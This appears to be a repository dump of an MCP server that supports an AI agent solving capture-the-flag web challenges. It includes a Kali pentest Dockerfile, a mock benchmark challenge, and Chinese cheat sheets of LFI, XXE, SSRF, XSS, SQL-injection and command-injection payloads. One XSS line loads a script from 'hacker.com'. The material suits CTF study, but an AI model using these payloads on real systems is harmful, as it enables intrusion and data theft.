├── .gitignore ├── mcpserver ├── .DS_Store ├── mcpserver_test.go ├── ctf-skills │ ├── lfi.md │ ├── xxe.md │ ├── afr&pt.md │ ├── ssrf.md │ ├── xss.md │ ├── sql.md │ ├── codei.md │ ├── idor.md │ └── ssti.md ├── mcpserver.go ├── types.go ├── help.go └── tools.go ├── cmd ├── mock-challenges │ └── XBEN-123-24.json ├── Dockerfile └── main.go ├── go.mod ├── go.sum ├── README.MD └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | /.DS_Store 2 | kail-history 3 | xbow-mcp 4 | .challenge_history 5 | .kail-history -------------------------------------------------------------------------------- /mcpserver/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m-sec-org/ez-xbow-platform-mcp/HEAD/mcpserver/.DS_Store -------------------------------------------------------------------------------- /cmd/mock-challenges/XBEN-123-24.json: -------------------------------------------------------------------------------- 1 | { 2 | "challenge_code": "XBEN-123-24", 3 | "difficulty": "hard", 4 | "points": 300, 5 | "target_info": { 6 | "ip": "192.168.5.37", 7 | "port": [32820] 8 | }, 9 | "hint_viewed": false, 10 | "solved": true, 11 | "hint_content": "Sometimes the AuthN/AuthZ checks are vulnerable to TOCTOU issues if they are not implemented properly", 12 | "solution": "flag{xxxx}" 13 | } 14 | -------------------------------------------------------------------------------- /mcpserver/mcpserver_test.go: -------------------------------------------------------------------------------- 1 | package mcpserver 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/signal" 7 | "syscall" 8 | "testing" 9 | ) 10 | 11 | func TestRun(t *testing.T) { 12 | server, err := NewMcpServer(NewMcpServerOptions( 13 | WithMcpServerMode(SSE), 14 | WithMcpServerListenAddr("127.0.0.01:8080/"), 15 | )) 16 | if err != nil { 17 | fmt.Println(err) 18 | } 19 | server.Start() 20 | signals := make(chan os.Signal, 1) 21 | signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM) 22 | <-signals 23 | } 24 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module tencent-xbow-mcp 2 | 3 | go 1.24.7 4 | 5 | require ( 6 | github.com/google/jsonschema-go v0.3.0 7 | github.com/invopop/jsonschema v0.13.0 8 | github.com/modelcontextprotocol/go-sdk v1.1.0 9 | ) 10 | 11 | require ( 12 | github.com/bahlo/generic-list-go v0.2.0 // indirect 13 | github.com/buger/jsonparser v1.1.1 // indirect 14 | github.com/mailru/easyjson v0.7.7 // indirect 15 | github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect 16 | github.com/yosida95/uritemplate/v3 v3.0.2 // indirect 17 | golang.org/x/oauth2 v0.30.0 // indirect 18 | gopkg.in/yaml.v3 v3.0.1 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/lfi.md: -------------------------------------------------------------------------------- 1 | ### 二、 本地文件包含(Local File Inclusion, LFI) 2 | 3 | 4 | #### 1. 题目类型(Challenge Types) 5 | 6 | 1. **基本 LFI:** 像路径遍历一样读取系统文件,例如 `/etc/passwd`。 7 | 2. **源代码泄露:** 目标文件是 PHP 或其他脚本文件,需要绕过直接包含导致的脚本执行,以获取其源码。 8 | 3. **日志文件包含/临时文件包含:** 通过包含 Web 服务器日志文件(如 `access.log`)或临时上传文件来实现 RCE。 9 | 4. **空字节截断(Null Byte Truncation):** 针对需要固定文件后缀(如 `.php`)的包含逻辑。 10 | 11 | #### 2. 成功技巧和手法(Successful Techniques and Methods) 12 | 13 | | 技巧类别 | 描述和观察到的具体载荷 | 作用与利用场景 | 14 | | :--- | :--- | :--- | 15 | | **1. PHP 包装器 (Wrappers) - 源代码读取** | **`php://filter/convert.base64-encode/resource=目标文件`**。 | **最重要技巧:** 无论文件类型,都可安全地获取文件内容并 Base64 编码输出,绕过文件被作为代码执行的限制。读取到的内容需要进行 Base64 解码。 | 16 | | **2. 包含参数探测** | 尝试各种可能的参数名称,如 `page`, `file`, `path`, `include`, `template`, `view`, `p`, `v`, `s`。 | 确定哪个参数容易受到文件包含攻击。 | 17 | | **3. 截断绕过** | 使用空字节 `%00` 来截断路径末尾可能被强制添加的后缀。例如 `../../etc/passwd%00`,或在包含 PHP 文件时防止后缀干扰:`/var/www/html/post.php%00`。 | 绕过依赖于文件后缀名的安全检查。(注意:此方法在较新的 PHP 版本中可能失效。) | 18 | | **4. 文件上传结合 LFI 提升权限** | 上传包含恶意代码的文件(如 `cmd2.php`),然后尝试包含该文件或通过路径遍历结合 RCE。 | 在具有文件上传功能的场景中,通过 LFI 包含上传目录中的恶意文件,实现远程命令执行。 | 19 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/xxe.md: -------------------------------------------------------------------------------- 1 | ### 一、 XXE 题目的主要类型 2 | 3 | #### 1. 经典回显型本地文件读取 (Classic In-Band LFI via XXE) 4 | 5 | 攻击者通过定义和调用外部实体,使服务器将本地文件内容作为 XML 响应的一部分返回,从而直接获取文件内容。 6 | 7 | | 类型特征 | 详细描述 | 8 | | :--- | :--- | 9 | | **识别 XML 端点** | 攻击者尝试向特定端点(如 `/soap_service`)发送 `Content-Type: application/xml` 的请求。 | 10 | | **利用目标文件读取** | 构造 DTD 实体,使用 `file:///` 协议引用本地敏感文件,例如:``。 | 11 | 12 | #### 2. 通过文件格式触发的 XXE (XXE via File Format Exploitation) 13 | 14 | 应用程序接受基于 XML 的文件格式(如 SVG、DOCX 或其他自定义的 XML 文档)作为输入,从而触发解析漏洞。 15 | 16 | | 类型特征 | 详细描述 | 17 | | :--- | :--- | 18 | | **SVG 上传利用** | 攻击者尝试通过 `POST` 请求上传一个 MIME 类型为 `image/svg+xml` 的 SVG 文件,该文件中嵌入了恶意的 DTD 载荷。SVG 文件本质上是 XML 格式,因此是利用 XXE 的常见载体。 | 19 | 20 | #### 3. 间接文件协议利用(LFI 侧信道或利用 URL 处理器) 21 | 22 | 此类型中,应用程序可能不是直接处理 XML,但其内部组件(如 URL 解析器或文件恢复功能)允许 `file://` 协议的使用,本质上是利用了与 XXE 相同的文件读取能力。 23 | 24 | | 类型特征 | 详细描述 | 25 | | :--- | :--- | 26 | | **URL 参数中的文件路径** | 在部分插件或应用中,攻击者在 URL 参数中直接注入 `bm_url=file:///opt/flag.txt`,试图通过这种机制读取本地文件。 | 27 | 28 | #### 4. 高级 XML 上下文利用 (XPath/XSLT/Blind XXE) 29 | 30 | 当服务器不直接回显实体内容(无回显 XXE,Blind XXE)时,或在可以执行表达式的环境中,需要更复杂的技巧来提取数据。 31 | 32 | | 类型特征 | 详细描述 | 33 | | :--- | :--- | 34 | | **XPath 注入实现文件读取** | 在 Struts 等使用 Java OGNL/EL 表达式的环境中,攻击者尝试利用 **XPath 表达式**来读取本地文件内容:`@javax.xml.xpath.XPathFactory@newInstance().newXPath().evaluate('string(/)', new org.xml.sax.InputSource('file:/tmp/flag'))`。这是一种利用 XML 解析上下文进行数据提取的**高级技巧**。 | 35 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/afr&pt.md: -------------------------------------------------------------------------------- 1 | 2 | ### 一、 任意文件读取(Arbitrary File Read)/ 路径遍历(Path Traversal) 3 | 4 | **路径遍历**是实现任意文件读取最直接的技术手段。题目通常要求通过操纵 URL 参数或请求头,利用相对路径机制 (`../` 或其编码形式) 来访问文件系统根目录之外的文件。 5 | 6 | #### 1. 题目类型(Challenge Types) 7 | 8 | 1. **基础路径跳跃:** 应用程序直接拼接用户输入的文件名,未检查 `../` 序列。 9 | 2. **Web 根目录逃逸:** 应用程序限制用户只能访问特定目录(如 `/static/` 或 `/images/`),要求攻击者构造路径绕过该限制来读取更高层级的文件。例如,尝试访问 `/icons/..%2f/flag.txt` 或 `/static/../flag.txt`。 10 | 3. **目录规范化绕过:** 应用程序尝试过滤 `../`,但可以利用编码或非标准路径格式进行绕过。 11 | 4. **结合 SSRF 的文件读取:** 应用程序存在 SSRF (Server-Side Request Forgery) 漏洞,允许攻击者通过 `file:///` 协议读取本地文件。 12 | 13 | #### 2. 技巧和手法(Techniques and Methods) 14 | 15 | | 技巧类别 | 描述和观察到的具体载荷 | 作用与利用场景 | 16 | | :--- | :--- | :--- | 17 | | **1. 基础遍历与目标文件探测** | 使用多层 `../` 尝试访问系统文件,例如:`../../../../etc/passwd` 或直接探测旗标文件:`/flag`、`/flag.txt`、`/FLAG.php`。 | 确认路径遍历漏洞是否存在,并定位关键系统文件和目标旗标。 | 18 | | **2. 标准编码绕过** | 对 `../` 或 `/` 进行单次 URL 编码:`..%2f`,或使用点分编码 `/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`。 | 绕过简单过滤器的首选方法。 | 19 | | **3. 双重编码绕过 (Double Encoding)** | 对编码后的路径再次编码,例如 `..%252f..%252fetc%252fpasswd`。 | 针对在过滤前进行一次 URL 解码的应用程序。 | 20 | | **4. 混合/非标准编码及填充** | 尝试利用操作系统或 Web 服务器的路径规范化特性,例如使用过多的点或斜线:`....//....//etc/passwd`。或者使用非标准编码如 `..%c0%af`。 | 绕过依赖于严格字符串匹配的过滤器,利用解析器差异。 | 21 | | **5. 静态目录逃逸** | 利用应用中已知的静态资源路径作为起点,进行目录跳跃,例如 `/icons/..%2fflag.txt` 或 `/static/../flag.txt`。 | 绕过要求从特定子目录开始的路径验证。 | 22 | | **6. SSRF + `file://` 协议** | 在具有 SSRF 功能的端点(如某些插件或服务)中,强制服务器使用 `file:///` 协议读取本地文件。例如,在 WordPress 插件场景中:`ajax.php?action=restore&bm_url=file:///opt/flag.txt`。 | 利用服务器内部文件读取能力,即使外部访问路径受限。 | 23 | 24 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/ssrf.md: -------------------------------------------------------------------------------- 1 | ### 一、协议滥用与本地文件读取型 (Protocol Abuse & LFI) 2 | 3 | 这类攻击旨在利用 URL 协议的特性,让服务器读取其内部的文件内容,绕过 Web 服务的限制。 4 | 5 | | 序号 | 做题技巧/手法 | 详细描述 | 6 | | :--- | :--- | :--- | 7 | | **1** | **`file://` 协议直接读取** | 利用 `file:///` 协议(或其编码形式)直接访问服务器本地文件系统的敏感文件,如配置文件、标志文件 (`flag`) 或源码。 | 8 | | **2** | **PHP 包装器 (Wrapper) 滥用** | 针对 PHP 应用,使用如 `php://filter/convert.base64-encode/resource=` 包装器,将目标文件内容进行 Base64 编码后输出,从而绕过输出过滤或内容类型限制。 | 9 | | **3** | **目录遍历/路径穿越** | 通过在路径中使用 `../` (或其各种编码形式) 来访问应用程序根目录以外的文件,例如读取 `/etc/passwd` 或其他敏感文件。 | 10 | | **4** | **路径编码混淆绕过** | 使用非标准或多重 URL 编码绕过过滤器的正则表达式检测,例如使用 `%252f` (双重编码的斜杠) 或 `%c0%af` (UTF-8 超长编码的斜杠)。 | 11 | | **5** | **空字节截断** | 利用空字节 `%00` 来截断文件路径中用于验证文件类型的后缀(如 `.jpg`),以实现 LFI 攻击。 | 12 | 13 | --- 14 | 15 | ### 二、绕过与请求头部注入型 (Bypasses & Request Injection) 16 | 17 | 当目标应用程序对用户提供的 URL 进行了过滤和限制时,需要使用复杂的技巧来绕过限制,或注入恶意数据。 18 | 19 | | 序号 | 做题技巧/手法 | 详细描述 | 20 | | :--- | :--- | :--- | 21 | | **9** | **CRLF/请求头注入** | 在 URL 参数中注入回车和换行符 (`%0d%0a`),从而在服务器向后端服务发起的请求中注入自定义 HTTP 头部,实现绕过内部认证或修改请求体。 | 22 | | **10** | **Host 头部欺骗/绕过** | 通过修改外部请求的 `Host` 头部,使其看起来像是来自内部域名(如 `localhost` 或 `internal.router`),从而绕过基于域名的白名单检查,或访问特定于内部域名的资源。 | 23 | | **11** | **伪造 IP 源地址头部** | 尝试注入或修改用于识别客户端 IP 的 HTTP 头部(如 `X-Forwarded-For`、`X-Real-IP`),将请求伪装成来自本地 (`127.0.0.1`),以访问需要本地权限的资源。 | 24 | | **12** | **路径重写头部(非标准)** | 利用代理服务器或 Web 应用框架中可能存在的路径重写逻辑,通过 `X-Original-URL` 或 `X-Rewrite-URL` 等头部强制服务器访问内部路径或敏感文件。 | 25 | 26 | --- 27 | 28 | ### 三、混合与衍生攻击型 (Hybrid & Consequence Attacks) 29 | 30 | SSRF 往往作为攻击链的起点或辅助工具,与其他漏洞结合使用,以达到更高的权限或远程代码执行。 31 | 32 | | 序号 | 做题技巧/手法 | 详细描述 | 33 | | :--- | :--- | :--- | 34 | | **13** | **SSRF + RCE/SSTI** | 利用 SSRF 成功访问内部服务后,对该内部服务尝试进行服务器端模板注入 (SSTI) 或远程命令执行 (RCE) 攻击,以获取控制权或读取文件。 | 35 | | **14** | **SSRF + XXE(实体请求)** | 当服务器解析 XML 输入时,攻击者可以通过定义外部实体(如 ``)来触发对本地文件或内部网络的请求,这本质上是利用了 XML 解析器的 SSRF 能力。 | 36 | -------------------------------------------------------------------------------- /cmd/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM kalilinux/kali-rolling 2 | 3 | ARG KALI_MIRROR=https://mirrors.tuna.tsinghua.edu.cn/kali 4 | 5 | ENV DEBIAN_FRONTEND=noninteractive 6 | 7 | RUN set -eux; \ 8 | apt-get update; \ 9 | apt-get install -y --no-install-recommends ca-certificates; \ 10 | rm -rf /var/lib/apt/lists/* 11 | 12 | RUN set -eux; \ 13 | printf 'deb %s kali-rolling main contrib non-free non-free-firmware\n' "$KALI_MIRROR" > /etc/apt/sources.list; \ 14 | printf 'deb-src %s kali-rolling main contrib non-free non-free-firmware\n' "$KALI_MIRROR" >> /etc/apt/sources.list 15 | 16 | # 基础工具 17 | RUN apt-get update && apt-get -y install \ 18 | wget \ 19 | curl \ 20 | ca-certificates \ 21 | && rm -rf /var/lib/apt/lists/* 22 | 23 | # 必备开发/脚本环境 24 | RUN apt-get update \ 25 | && apt-get install -y \ 26 | git \ 27 | python3 \ 28 | python3-pip \ 29 | python3-venv \ 30 | unzip \ 31 | jq \ 32 | iputils-ping \ 33 | && rm -rf /var/lib/apt/lists/* 34 | 35 | # Node.js(如无需要可删除此段) 36 | RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \ 37 | && apt-get install -y nodejs \ 38 | && rm -rf /var/lib/apt/lists/* 39 | 40 | # Web 常用渗透工具(目录爆破、指纹、SSL 检测、注入测试、字典) 41 | RUN apt-get update \ 42 | && apt-get install -y \ 43 | nmap \ 44 | gobuster \ 45 | whatweb \ 46 | sslscan \ 47 | sqlmap \ 48 | seclists \ 49 | && rm -rf /var/lib/apt/lists/* 50 | 51 | # ncat / netcat 52 | RUN apt-get update \ 53 | && (apt-get install -y ncat || apt-get install -y netcat-openbsd || echo "No netcat variant available") \ 54 | && rm -rf /var/lib/apt/lists/* 55 | 56 | # rockyou(若未安装 wordlists,此命令会被忽略) 57 | RUN gunzip -f /usr/share/wordlists/rockyou.txt.gz 2>/dev/null || true 58 | 59 | # 如无需自定义安装,建议删除以下两段(可能重新拉入大量工具) 60 | # COPY build/setup/ /tmp/setup/ 61 | # RUN chmod +x /tmp/setup/*.sh 62 | # RUN for script in /tmp/setup/*.sh; do \ 63 | # echo "Executing: $script"; \ 64 | # bash "$script" || exit 1; \ 65 | # done 66 | 67 | # 清理 68 | RUN rm -rf /tmp/setup /tmp/*.zip /tmp/*.deb /var/lib/apt/lists/* 69 | 70 | RUN touch /root/THIS_IS_DOCKER_CONTAINER_NOT_TARGET_MACHINE.txt -------------------------------------------------------------------------------- /mcpserver/ctf-skills/xss.md: -------------------------------------------------------------------------------- 1 | 这是根据你的要求重新整理的表格。我将参考 payload 中的核心技巧(如 `contenteditable`、`autofocus`、空格绕过、标签混淆、JSFuck 等)提取出来,融入到了**描述**中,并将示例 Payload 修改为**更具通用性和指导意义的格式**,而非直接的解题答案。 2 | 3 | #### 一、 XSS 漏洞的类型 (Types of XSS) 4 | 5 | | 类型 | 描述 | 6 | | :--- | :--- | 7 | | **反射型 XSS (Reflected XSS)** | 攻击载荷立即从服务器的响应中返回并执行,通常通过 URL 参数传递。 | 8 | | **存储型 XSS (Stored XSS)** | 恶意脚本被持久存储在数据库或文件系统中,并在受害者访问特定页面时执行。 | 9 | | **DOM 型 XSS (DOM-based XSS)** | 漏洞完全发生在客户端,JavaScript 代码不安全地处理了用户输入(如 URL 片段、`referrer`)。 | 10 | 11 | #### 二、 XSS 绕过手法和技巧 (Techniques and Bypass Methods) 12 | 13 | | 序号 | 技巧/手法 | 详细描述 | 指导性 Payload 结构 | 14 | | :--- | :--- | :--- | :--- | 15 | | **1** | **基本标签与上下文闭合** | 最基础的注入。如果输入在属性中,尝试使用 `">` 或 `'` 闭合当前属性或标签,然后开始新的恶意标签。 | `">` 或 `payload' onmouseover=alert(1) x='` | 16 | | **2** | **自动聚焦与事件触发 (`autofocus`)** | 利用 `autofocus` 属性让元素在页面加载时自动获取焦点,从而触发 `onfocus` 事件,无需用户交互。 | `` | 17 | | **3** | **非输入元素的交互 (`contenteditable`)** | 结合 `contenteditable="true"` 属性,使普通 HTML 标签(如 `div`、`span`)变为可编辑状态,配合 `autofocus` 触发事件。 | `
` | 18 | | **4** | **利用 `` 与标签混淆** | 某些过滤器只拦截 `` 标签,但浏览器会将 `` 标签解析为 ``,从而绕过黑名单。 | `` | 19 | | **5** | **分隔符绕过 (Whitespace Bypass)** | 当空格被过滤时,使用 `/` (斜杠) 或 `+` 等符号作为属性之间的分隔符。 | `` 或 `` | 20 | | **6** | **伪协议与 DOM 操作** | 利用 `javascript:` 伪协议。如果无法直接注入标签,尝试在 `a` 标签的 `href` 或 `iframe` 的 `src` 中注入。 | `Click` | 21 | | **7** | **构造函数与动态执行** | 绕过对 `eval` 或 `alert` 等关键词的过滤,利用 `Function` 构造函数或 `constructor` 属性动态生成并执行代码。 | `[].filter.constructor('alert(1)')()` | 22 | | **8** | **非字母数字编码 (JSFuck/Jother)** | 当字母和数字被完全过滤时,利用 JavaScript 的弱类型特性,仅使用 `[]()!+` 等符号构造代码。 | `[][(![]+[])[+[]]+...` (JSFuck 编码模式) | 23 | | **9** | **Unicode 与 实体编码混淆** | 利用 Unicode 转义 (`\uXXXX`) 或 HTML 实体编码来隐藏关键词(如 `alert`),常配合 `eval` 或属性值使用。 | `` | 24 | | **10** | **字符串操作绕过** | 通过字符串拼接、大小写转换 (`toUpperCase`) 等函数操作来还原被过滤的 payload,绕过 WAF 对特定字符串的匹配。 | `` | 25 | | **11** | **反斜杠转义逃逸** | 当服务端对引号进行转义(如 `"` 变 `\"`)时,注入反斜杠 `\` 使其转义自身(`\\"`),从而释放引号闭合字符串。 | `payload\";alert(1);//` (利用前面的 `\` 抵消转义符) | 26 | | **12** | **利用不常见标签与事件** | 使用 `
`、``、`` 等标签及其特有事件(如 `ontoggle`)绕过常见的标签黑名单。 | `
` | 27 | | **13** | **异常处理流程 (Throw/Error)** | 利用 `throw` 抛出异常,并将异常处理函数 (`window.onerror`) 指向恶意代码执行函数。 | `
` | 28 | | **14** | **动态元素创建** | 当无法直接注入事件时,通过 JavaScript 创建新的 DOM 元素(如 `script` 或 `img`)并插入页面。 | `x=document.createElement('script');x.src='//hacker.com';document.body.appendChild(x)` | 29 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk= 2 | github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= 3 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= 4 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= 8 | github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= 9 | github.com/google/jsonschema-go v0.3.0 h1:6AH2TxVNtk3IlvkkhjrtbUc4S8AvO0Xii0DxIygDg+Q= 10 | github.com/google/jsonschema-go v0.3.0/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= 11 | github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E= 12 | github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= 13 | github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= 14 | github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= 15 | github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= 16 | github.com/modelcontextprotocol/go-sdk v1.1.0 h1:Qjayg53dnKC4UZ+792W21e4BpwEZBzwgRW6LrjLWSwA= 17 | github.com/modelcontextprotocol/go-sdk v1.1.0/go.mod h1:6fM3LCm3yV7pAs8isnKLn07oKtB0MP9LHd3DfAcKw10= 18 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 19 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 20 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 21 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 22 | github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc= 23 | github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= 24 | github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4= 25 | github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4= 26 | golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI= 27 | golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU= 28 | golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= 29 | golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= 30 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 31 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 32 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 33 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 34 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/sql.md: -------------------------------------------------------------------------------- 1 | ## SQL 注入 (SQL Injection) 手法 2 | 3 | ### 1. 认证绕过/逻辑判断注入 (Authentication Bypass) 4 | 5 | 这类攻击旨在通过注入永真条件来绕过登录验证,使其返回管理员或其他高权限用户的信息。 6 | 7 | | 手法/技巧 | 目的和 Payload 示例 | 来源支持 | 8 | | :--- | :--- | :--- | 9 | | **标准永真条件 + 注释** | 在用户名或密码字段中插入永真条件,通常使用单引号闭合原语句,然后使用 `-- -` 或 `#` (URL 编码为 `%23` 或 `%20--%20-`) 忽略掉查询的其余部分。 | `username=' OR 1=1-- -` | 10 | | **永真字符串匹配** | 使用 `' OR '1'='1` 确保条件为真。 | `username=admin' OR '1'='1' -- -` | 11 | | **利用通配符绕过** | 尝试使用 `%` 通配符匹配任何密码(例如,如果应用使用 `LIKE` 进行匹配)。 | `password=%` | 12 | | **非标准逻辑符** | 尝试使用 `OR` 的替代写法,例如双竖线 `||` 或模糊匹配。 | `username=' || '1'='1` | 13 | 14 | ### 2. 基于联合查询的数据提取 (UNION-Based Data Extraction) 15 | 16 | 此方法适用于页面直接显示查询结果的场景,通过合并恶意查询来获取数据库信息。 17 | 18 | | 步骤/技巧 | 目的和 Payload 示例 | 19 | | :--- | :--- | 20 | | **探测字段数 (ORDER BY)** | 通过递增 `ORDER BY N` 语句来确定查询结果的列数。 | 21 | | **确定可用列** | 使用 `UNION SELECT NULL, NULL, ...` 找到可以回显数据的列的位置。 | 22 | | **提取信息** | 在可回显的列位置注入 `SELECT` 语句以获取敏感数据。 | 23 | | **执行数据库函数** | 尝试注入数据库函数来获取哈希值或其他计算结果。 | 24 | | **读取文件 (LOAD_FILE)** | 利用数据库特性(如 MySQL)尝试读取系统文件。 | 25 | ### 3. 基于错误的注入 (Error-Based SQLi) 26 | 27 | 当页面不直接回显数据但会抛出数据库错误时,攻击者强制数据库将敏感数据包含在错误信息中。 28 | 29 | | 手法/技巧 | 目的和 Payload 示例 (以 MySQL `updatexml` 为例) | 30 | | :--- | :--- | 31 | | **获取数据库名称** | 构造畸形的 `updatexml` 函数,利用 `concat(0x7e,(SELECT database()),0x7e)` 将数据库名注入路径中,触发 XML 解析错误。 | 32 | | **枚举表名** | 通过 `information_schema.tables` 提取当前数据库的所有表名。 | 33 | | **枚举列名和数据** | 针对特定表名(如 `admins` 或 `flag`)提取列名和数据。 | 34 | | **提取 Flag 值** | 针对包含 flag 的表进行数据提取。 | 35 | | **辅助长度探测** | 辅助盲注或数据提取过程,确定目标数据的长度。 | 36 | 37 | ### 4. 基于时间的盲注 (Time-Based Blind SQLi) 38 | 39 | 用于应用不返回数据也不报错的**完全盲注**场景,通过观察响应时间来推断数据库操作的逻辑真假。 40 | 41 | | 手法/技巧 | 目的和 Payload 示例 | 42 | | :--- | :--- | 43 | | **简单延迟探测** | 注入 `SLEEP(N)` 函数,观察页面响应是否延迟 N 秒。 | 44 | | **条件延迟探测** | 使用 `IF` 语句结合 `SLEEP`,如果条件成立(例如数据首字母匹配正确)则延迟,否则不延迟。 | 45 | 46 | ### 5. 堆叠查询注入 (Stacked Queries) 47 | 48 | 当应用允许使用分号 `;` 分隔多条 SQL 语句时,可以执行数据修改或删除操作。 49 | 50 | | 手法/技巧 | 目的和 Payload 示例 | 51 | | :--- | :--- | 52 | | **更新管理员密码** | 注入一条 `UPDATE` 语句来修改用户密码(假设密码是明文或已知哈希算法)。 | 53 | | **利用 Tab 符绕过/混淆** | 尝试在 SQL 语句中使用 TAB 字符 (`\t` 或 `%09`) 来绕过简单的黑名单过滤或混淆检测。 | 54 | 55 | ### 6. 应用层认证绕过 (非 SQL 注入但达成类似目标) 56 | 57 | \达到了认证绕过或权限提升目的的**应用层数据注入**手法,通常针对 PHP 或其他语言的松散类型和反序列化漏洞。 58 | 59 | | 攻击类型 | 手法/技巧 | 60 | | :--- | :--- | 61 | | **PHP 类型混淆/数据类型注入** | 针对 PHP 松散类型比较的特性,尝试将字符串类型的密码与布尔值或浮点数进行比较,实现认证绕过。 | 62 | | **PHP 反序列化攻击 (PHAR/Cookie)** | 构造包含管理员用户信息的 PHP 序列化对象,并将其 Base64 编码后注入到 `Cookie` 中(例如 `creds` 参数),从而绕过认证。 | 63 | | **GraphQL/NoSQL 注入** | 在非关系型数据库或 GraphQL 查询中,注入类似 SQLi 的逻辑条件来绕过权限或扩大查询范围。 | 64 | 65 | 其中,**基于错误的注入**(使用 `updatexml` 等函数)和**认证绕过**(`OR 1=1`)是最常见的攻击模式。 66 | 67 | #### 绕过技巧 68 | 69 | 过滤规则: 70 | - 空格(`\s`) 71 | - 关键词:`and`, `null`, `where`, `limit`, `like`, `substring`, `substr` 72 | 73 | 74 | | 过滤内容 | 绕过方法 | 75 | |---------|---------| 76 | | 空格 | 使用 `/**/` 或 `()` | 77 | | AND | 使用 `&&` | 78 | | OR | 未过滤,可直接使用 | 79 | | SUBSTRING/SUBSTR | 使用 `MID()`, `LEFT()`, `RIGHT()` | 80 | | 大小写敏感比较 | 使用 `BINARY()` 函数 | 81 | -------------------------------------------------------------------------------- /mcpserver/ctf-skills/codei.md: -------------------------------------------------------------------------------- 1 | ### 一、 命令注入 (Command Injection) 的题目类型与技巧 2 | 3 | 命令注入的目标是中断原始的系统命令,并插入新的系统命令。 4 | 5 | | 题目类型 | 核心技巧与利用手法 | 具体利用 | 6 | | :--- | :--- | :--- | 7 | | **普通带回显命令注入** | **命令串联**:使用 Shell 元字符(如 `;` 或 `&`)来分隔和执行多个命令。 | **利用**:在参数中注入 `ip_address=127.0.0.1; cat /FLAG.txt`。 | 8 | | **盲命令注入 (Blind CI)** | **时间延迟探测**:在没有直接回显的情况下,使用 `SLEEP(X)` 或 `time -p curl` 来判断命令是否执行,例如在 SQL 或命令执行上下文中。 | 9 | | **通过 Shell 